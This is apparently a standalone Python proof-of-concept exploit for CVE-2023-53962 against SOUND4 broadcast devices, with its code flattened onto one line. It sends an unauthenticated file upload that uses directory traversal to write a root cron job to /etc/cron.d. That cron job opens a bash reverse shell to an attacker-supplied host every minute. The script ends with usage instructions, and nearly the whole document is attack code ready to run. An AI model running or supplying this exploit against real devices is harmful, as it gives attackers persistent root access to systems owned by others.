CVE-2023-53962

import requests import sys def exploit_cve_2023_53962(target_url, lhost, lport): """ CVE-2023-53962 PoC - SOUND4 IMPACT/FIRST/PULSE/Eco Unauthenticated Directory Traversal This PoC demonstrates writing a cron job to achieve RCE """ # Target endpoint upload_url = f"{target_url}/upload.cgi" # Payload: Write a cron job for reverse shell # Target path: /etc/cron.d/ for persistence payload_filename = "../../../../../../etc/cron.d/pwned" # Cron job payload - reverse shell every minute payload_content = f"* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\n" # Boundary for multipart form-data boundary = "----WebKitFormBoundary" # Construct multipart request body body = f"""--{boundary}\r Content-Disposition: form-data; name="upgfile"; filename="{payload_filename}"\r Content-Type: application/octet-stream\r \r {payload_content} --{boundary}--\r """ headers = { 'Content-Type': f'multipart/form-data; boundary={boundary}', 'Accept': '*/*' } print(f"[*] Target: {target_url}") print(f"[*] Uploading payload to: {payload_filename}") try: response = requests.post(upload_url, data=body, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload uploaded successfully!") print(f"[*] Check listener on {lhost}:{lport}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 192.168.1.50 4444") sys.exit(1) exploit_cve_2023_53962(sys.argv[1], sys.argv[2], sys.argv[3])

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